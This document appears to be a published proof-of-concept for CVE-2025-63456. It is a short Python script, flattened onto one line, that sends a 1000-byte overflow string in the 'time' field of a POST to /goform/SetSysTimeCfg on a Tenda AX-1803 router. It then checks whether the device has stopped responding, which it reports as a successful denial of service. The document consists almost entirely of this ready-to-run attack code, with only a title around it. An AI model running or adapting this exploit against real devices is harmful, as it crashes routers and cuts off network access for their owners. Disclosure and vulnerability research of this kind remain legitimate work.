CVE-2025-63456 Tenda AX-1803 SetSysTimeCfg函数栈溢出漏洞

import requests # CVE-2025-63456 PoC - Tenda AX-1803 Stack Overflow in SetSysTimeCfg # Target: Tenda AX-1803 Router # Vulnerability: Stack overflow via time parameter in SetSysTimeCfg function # Impact: Denial of Service TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 def create_overflow_payload(): # Create payload with oversized time parameter to trigger stack overflow # The exact overflow length may vary based on firmware version overflow_length = 1000 payload = "A" * overflow_length return payload def exploit_cve_2025_63456(): """ Exploit function for CVE-2025-63456 Sends a crafted request with oversized time parameter to SetSysTimeCfg """ url = f"http://{TARGET_IP}:{TARGET_PORT}/goform/SetSysTimeCfg" # Construct malicious payload payload = create_overflow_payload() # Prepare POST data with overflow in time parameter data = { "time": payload, # Overflow payload "timezone": "GMT+8", "ntpServer": "time.windows.com" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") response = requests.post(url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") # If exploit successful, device should become unresponsive # Verify by checking if device still responds verify_url = f"http://{TARGET_IP}:{TARGET_PORT}/" try: check = requests.get(verify_url, timeout=5) print("[-] Device still responsive, exploit may have failed") except requests.exceptions.RequestException: print("[+] Device appears to be unresponsive - DoS successful!") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[+] This may indicate successful exploitation") if __name__ == "__main__": print("=" * 60) print("CVE-2025-63456 PoC - Tenda AX-1803 Stack Overflow") print("=" * 60) exploit_cve_2025_63456()